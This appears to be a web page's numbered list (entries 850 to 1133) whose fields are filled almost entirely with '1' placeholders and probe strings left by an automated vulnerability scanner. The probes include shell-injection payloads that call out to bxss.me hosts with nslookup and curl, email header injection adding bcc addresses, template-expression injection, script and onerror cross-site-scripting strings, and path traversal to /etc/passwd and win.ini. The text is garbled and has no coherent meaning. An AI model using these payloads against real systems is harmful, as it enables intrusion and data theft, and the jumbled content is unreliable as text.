1
850
1

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o"), 1

1
851
1

1, to@example.com&gt;%0d%0abcc:009247.2024-94736.2024.789af.19661.2@bxss.me

1
852
1

1, 1

1
853
1

1, 1

1
854
1

1%0abcc:009247.2024-94737.2024.789af.19661.2@bxss.me, 1

1
855
1

1, 1

1
856
1

to@example.com&gt;%0d%0abcc:009247.2024-94738.2024.789af.19661.2@bxss.me, 1

1
857
1

1, 1

1
858
1

1, 1

1
859
1

1, 1

1
860
1

1, 1

1
861
1

1, 1

1
862
1

1, dfb{{98991*97996}}xca

1
863
1

1, 1

1
864
1

1, 1

1
865
1

1, 1

1
866
1

1, 1

1
867
1

1, 1

1
868
1

1, 1

1
869
1

1, 1

1
870
1

1, 1

1
871
1

1, 1

1
872
1

1, 1

1
873
1

1, 1

1
874
1

1, 1

1
875
1

1, dfb[[${98991*97996}]]xca

1
876
1

1, 1

1
877
1

1, 1

1
878
1

1, 1

1%0abcc:009247.2024-94743.2024.789af.19661.2@bxss.me
879
1

1, 1

1
880
1

1, 1

1
881
1

1, 1

dfb{{98991*97996}}xca
882
1

1, 1

1
883
1

1, 1

1
884
1

1, 1

1
885
1

1, 1

1
886
1

1, 1

1
887
1

1, 1

1
888
1

1, 1

to@example.com&gt;%0d%0abcc:009247.2024-94744.2024.789af.19661.2@bxss.me
889
1

1, dfb__${98991*97996}__::.x

1
890
1

1, 1

1
891
1

1, 1

1
892
1

1, 1

dfb[[${98991*97996}]]xca
893
1

1, 1

1
894
1

1, 1

1
895
1

1, 1

1
896
1

1AUCGN[!+!], 1

1
897
1

1, 1

1
898
1

1, 1

1
899
1

1, 1

1
900
1

1, 1

1
901
1

1, 1

1
902
1

1, 1

1
903
1

1, 1

1
904
1

1, 1

1
905
1

1, 1

1
906
1

1, 1

1
907
1

1, 1

1
908
1

1, 1

1
909
1

1, 1

1
910
1

1, 1

1
911
1

1, 1

1
912
1

1, 1

1
913
echo kqufsi$()\ vwiyfk\nz^xyu||a #' &amp;echo kqufsi$()\ vwiyfk\nz^xyu||a #|" &amp;echo kqufsi$()\ vwiyfk\nz^xyu||a #

1, 1

1
914
1

1, 1

1
915
1

1, 1

1
916
&amp;echo vyuuxc$()\ dgwgrx\nz^xyu||a #' &amp;echo vyuuxc$()\ dgwgrx\nz^xyu||a #|" &amp;echo vyuuxc$()\ dgwgrx\nz^xyu||a #

1, 1

1
917
1

1, 1

1
918
1

1, 1

1
919
1

1, 1

1
920
|echo nolouj$()\ qzywop\nz^xyu||a #' |echo nolouj$()\ qzywop\nz^xyu||a #|" |echo nolouj$()\ qzywop\nz^xyu||a #

1, 1

1
921
1

1, "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1
922
1

1, 1

1
923
1

1, 1

1
924
1

1, 1

1
925
1

1, 1

dfb__${98991*97996}__::.x
926
1

1, 1

1
927
1

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%48%41%38%53%28%39%31%38%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E, 1

1
928
(nslookup -q=cname hitxymdjnlaxe6107f.bxss.me||curl hitxymdjnlaxe6107f.bxss.me))

1, 1

1
929
1

1, 1

1
930
$(nslookup -q=cname hitvtdwpakypqb7945.bxss.me||curl hitvtdwpakypqb7945.bxss.me)

1, 1

1
931
12345'"\'\");|]*%00{%0d%0a&lt;%00&gt;%bf%27'💡

1, 1

1
932
1AUZ76[!+!]

1, 1

1
933
1

1, 1

1
934
1

1, 1

1
935
&amp;nslookup -q=cname hitlqrpgnvfea3a743.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitlqrpgnvfea3a743.bxss.me&amp;`'

1, 1

1
936
1

1, 1

1
937
1

1, 1

1
938
&amp;(nslookup -q=cname hitztuttbfoff25823.bxss.me||curl hitztuttbfoff25823.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitztuttbfoff25823.bxss.me||curl hitztuttbfoff25823.bxss.me)&amp;`'

1, 1

1
939
1

1, 1

1
940
|(nslookup -q=cname hitimgishhsdp82aa8.bxss.me||curl hitimgishhsdp82aa8.bxss.me)

1, 1

1
941
1

1, 1

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
942
1

1, 1

1
943
1

1, 12345'"\'\");|]*%00{%0d%0a&lt;%00&gt;%bf%27'💡

1
944
1

1, 1

1
945
1

1, 1

1
946
1

1, 1

1
947
1

1, 1

1
948
1

1, 1

1
949
1

1, 1

1
950
1

12345'"\'\");|]*%00{%0d%0a&lt;%00&gt;%bf%27'💡, 1

1
951
`(nslookup -q=cname hityicwxrdcic95f51.bxss.me||curl hityicwxrdcic95f51.bxss.me)`

1, 1

1
952
1

1, 1

1
953
1

1, 1

1
954
1

1, 1

1
955
;(nslookup -q=cname hitzznlkxyebof2e5f.bxss.me||curl hitzznlkxyebof2e5f.bxss.me)|(nslookup -q=cname hitzznlkxyebof2e5f.bxss.me||curl hitzznlkxyebof2e5f.bxss.me)&amp;(nslookup -q=cname hitzznlkxyebof2e5f.bxss.me||curl hitzznlkxyebof2e5f.bxss.me)

1, 1

1
956
1

1, 1

1
957
1

1, echo gyaqfq$()\ gksfgf\nz^xyu||a #' &amp;echo gyaqfq$()\ gksfgf\nz^xyu||a #|" &amp;echo gyaqfq$()\ gksfgf\nz^xyu||a #

1
958
1

1, 1

1
959
1

1, &amp;echo keswnp$()\ diohlw\nz^xyu||a #' &amp;echo keswnp$()\ diohlw\nz^xyu||a #|" &amp;echo keswnp$()\ diohlw\nz^xyu||a #

1
960
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%6B%76%72%6C%28%39%38%30%33%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1, 1

1
961
1

1, 1

1
962
1

1, 1

1
963
1

1, 1

1
964
1

1, 1

1
965
1

1, |echo yvzvlf$()\ idqolv\nz^xyu||a #' |echo yvzvlf$()\ idqolv\nz^xyu||a #|" |echo yvzvlf$()\ idqolv\nz^xyu||a #

1
966
1

1, 1

1
967
1

1, 1

1
968
1

1, (nslookup -q=cname hitvtizjpnuqrfbde8.bxss.me||curl hitvtizjpnuqrfbde8.bxss.me))

1
969
1

1, 1

1
970
1

1, 1

1
971
1

1, 1

1
972
1

1, 1

1
973
1

1, 1

1
974
1

1, 1

1MYQMK[!+!]
975
1

1, 1

1
976
1

1, 1

1
977
1

1, 1

978
1

1, 1

1
979
1

1, $(nslookup -q=cname hitvqlkwmalpw32dc6.bxss.me||curl hitvqlkwmalpw32dc6.bxss.me)

1
980
1

1, 1

1
981
1

1, 1

1
982
1

1, 1

12345'"\'\");|]*%00{%0d%0a&lt;%00&gt;%bf%27'💡
983
1

1, 1

1
984
1

1, &amp;nslookup -q=cname hitjgkbygjrzcb5987.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitjgkbygjrzcb5987.bxss.me&amp;`'

1
985
1

1, 1

1
986
1

1, 1

1
987
1

1, 1WTU57[!+!]

1
988
1

1, 1

1
989
1

1, 1

1
990
../../../../../../../../../../../../../../etc/passwd

1, 1

1
991
1

1, &amp;(nslookup -q=cname hitivetshtrbqb0fa4.bxss.me||curl hitivetshtrbqb0fa4.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitivetshtrbqb0fa4.bxss.me||curl hitivetshtrbqb0fa4.bxss.me)&amp;`'

1
992
../../../../../../../../../../../../../../windows/win.ini

1, 1

1
993
1

1, 1

1
994
1

1, 1

1
995
file:///etc/passwd

1, 1

1
996
1

1, 1

1
997
1

1, 1

1
998
1

1, 1

1
999
1

1, |(nslookup -q=cname hitywlpbqynwcfb42b.bxss.me||curl hitywlpbqynwcfb42b.bxss.me)

1
1000
1

1, 1

1
1001
1

1, 1

1
1002
1

1, 1

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%66%54%67%50%28%39%39%39%37%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1003
1

1, 1

1
1004
1

1, 1

1
1005
../1

1, 1

1
1006
1

1, 1

1
1007
1

1, 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%72%68%4A%64%28%39%30%30%38%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1
1008
1

1, 1

1
1009
1

1, 1

1
1010
1

1, 1

1
1011
1

1, `(nslookup -q=cname hitcfaioxfdhh17145.bxss.me||curl hitcfaioxfdhh17145.bxss.me)`

1
1012
1

1, ../../../../../../../../../../../../../../etc/passwd

1
1013
1

1, 1

1
1014
1

1, 1

1
1015
1

1, 1

1
1016
1

1, 1

1
1017
1

1, ;(nslookup -q=cname hitklkbmyfyaw7c834.bxss.me||curl hitklkbmyfyaw7c834.bxss.me)|(nslookup -q=cname hitklkbmyfyaw7c834.bxss.me||curl hitklkbmyfyaw7c834.bxss.me)&amp;(nslookup -q=cname hitklkbmyfyaw7c834.bxss.me||curl hitklkbmyfyaw7c834.bxss.me)

1
1018
1

1, ../../../../../../../../../../../../../../windows/win.ini

1
1019
1

1, 1

1
1020
1

1, file:///etc/passwd

1
1021
1

1, 1

1
1022
1

1, 1

1
1023
1

1, 1

1
1024
1

1, 1

1
1025
1

1, 1

1
1026
1

1, 1

1
1027
1

1, 1

1
1028
1

1, 1

1
1029
1

echo gwxbnm$()\ mperth\nz^xyu||a #' &amp;echo gwxbnm$()\ mperth\nz^xyu||a #|" &amp;echo gwxbnm$()\ mperth\nz^xyu||a #, 1

1
1030
1

1, 1

1
1031
1

1, 1

1
1032
1

1, ../1

1
1033
1

1, 1

1
1034
1

&amp;echo ykybtk$()\ tlhdqm\nz^xyu||a #' &amp;echo ykybtk$()\ tlhdqm\nz^xyu||a #|" &amp;echo ykybtk$()\ tlhdqm\nz^xyu||a #, 1

1
1035
1

1, 1

1
1036
1

../../../../../../../../../../../../../../etc/passwd, 1

1
1037
1

1, 1

1
1038
1

|echo nwyilo$()\ sfiooe\nz^xyu||a #' |echo nwyilo$()\ sfiooe\nz^xyu||a #|" |echo nwyilo$()\ sfiooe\nz^xyu||a #, 1

1
1039
1

1, 1

1
1040
1

../../../../../../../../../../../../../../windows/win.ini, 1

1
1041
1

file:///etc/passwd, 1

1
1042
1

1, 1

1
1043
1

1<img src="//xss.bxss.me/t/dot.gif" alt="dot.gif" />, 1

1
1044
1

1, 1

1
1045
1

1, 1

1
1046
1

(nslookup -q=cname hitczhtzgvdnnca3a2.bxss.me||curl hitczhtzgvdnnca3a2.bxss.me)), 1

1
1047
1

1, 1

1
1048
1

1, 1

1
1049
1

1, 1

1
1050
${9999993+9999344}

1, 1

1
1051
1

$(nslookup -q=cname hitkbmncrzbfqfaac7.bxss.me||curl hitkbmncrzbfqfaac7.bxss.me), 1

1
1052
1

../1, 1

1
1053
1<img src="//xss.bxss.me/t/dot.gif" alt="dot.gif" />

1, 1

1
1054
1

1, ${9999220+9999076}

1
1055
1

1, 1

1
1056
1

${9999422+9999771}, 1

1
1057
1

&amp;nslookup -q=cname hitnxlyaiqhdtf162f.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitnxlyaiqhdtf162f.bxss.me&amp;`', 1

1
1058
1

1, 1

1
1059
1

1, 1

1
1060
1

1<img src="xyz" alt="xyz" />, 1

1
1061
1

1, 1

1
1062
1

&amp;(nslookup -q=cname hitkbkajmnwis54459.bxss.me||curl hitkbkajmnwis54459.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitkbkajmnwis54459.bxss.me||curl hitkbkajmnwis54459.bxss.me)&amp;`', 1

1
1063
1

1, 1

1
1064
1

1, 1

1
1065
1

1" onerror=alert(9513)&gt;, 1

1
1066
1<img src="xyz" alt="xyz" />

1, 1

1
1067
1

1, 1

${10000177+10000483}
1068
1

|(nslookup -q=cname hitvtlzvdwwgbf19b0.bxss.me||curl hitvtlzvdwwgbf19b0.bxss.me), 1

1
1069
1

`(nslookup -q=cname hitcknfpacxgk1b974.bxss.me||curl hitcknfpacxgk1b974.bxss.me)`, 1

1
1070
1

1, 1

1
1071
1

;(nslookup -q=cname hitbefairidyy4653e.bxss.me||curl hitbefairidyy4653e.bxss.me)|(nslookup -q=cname hitbefairidyy4653e.bxss.me||curl hitbefairidyy4653e.bxss.me)&amp;(nslookup -q=cname hitbefairidyy4653e.bxss.me||curl hitbefairidyy4653e.bxss.me), 1

1
1072
1

1, 1

1
1073
1

1, 1

1
1074
1

1, 1

1
1075
1

1, 1

1
1076
1" onerror=alert(9237)&gt;

1, 1

1
1077
1

1, 1

1
1078
1

1, 1

1
1079
1

1, 1

1
1080
1

%31%3C%53%63%52%69%50%74%20%3E%48%41%38%53%289997%29%3C%2F%73%43%72%69%70%54%3E, 1

1
1081
1

1, 1

1
1082
1

1, 1

1
1083
%31%3C%53%63%52%69%50%74%20%3E%6B%76%72%6C%289205%29%3C%2F%73%43%72%69%70%54%3E

1, 1

1
1084
lE6mqNBP

1, 1

1
1085
1

1, 1

1
1086
1

1, 8Z98wBnp

1
1087
1

d8J3VpMY, 1

1
1088
1

1, 1

1
1089
1\u003CScRiPt\kvrl(9596)\u003C/sCripT\u003E

1, 1

1
1090
1

1, 1

1
1091
1

1, 1

1
1092
1

1, 1

1
1093
1

1\u003CScRiPt\HA8S(9362)\u003C/sCripT\u003E, 1

1
1094
1

1, 1

1
1095
1

1, 1

1
1096
1

1, 1

1
1097
1

1, 1

fILjNz5O
1098
1

1, 1

1
1099
1

1, 1

1
1100
1

1&lt;ScRiPt&gt;HA8S(9369)&lt;/sCripT&gt;, 1

1
1101
1

1, 1

1
1102
1&lt;ScRiPt&gt;kvrl(9391)&lt;/sCripT&gt;

1, 1

1
1103
1

1, 1

1
1104
1

1, 1

1
1105
1

1, 1

1
1106
1

1, 1

1<img src="//xss.bxss.me/t/dot.gif" alt="dot.gif" />
1107
1

1, 1

1
1108
1

1, 1

1
1109
1

1, 1

1
1110
1

1, 1

1
1111
1

1, 1

1
1112
1

1, 1

1
1113
1

1, 1

1
1114
1

1, 1

1
1115
img zzz onmouseover=kvrl(95841) //

1, 1

1
1116
1

img zzz onmouseover=HA8S(93881) //, 1

1
1117
1&amp;n913628=v989344

1, 1

1
1118
1

1, 1

1
1119
1

1, 1

1
1120
1

1, 1

1<img src="xyz" alt="xyz" />
1121
1

1, 1&amp;n923063=v924628

1
1122
1

1, 1

1
1123
1

1, 1

1
1124
1

1, 1

1
1125
1

1, 1<img src="//xss.bxss.me/t/dot.gif" alt="dot.gif" />

1
1126
1

1, 1

1
1127
1

1, 1

1
1128
1

1, 1

1
1129
1

1&amp;n942758=v968110, 1

1
1130
1

1, 1

1
1131
1

1, 1

1
1132
)

1, 1

1
1133
1

1, 1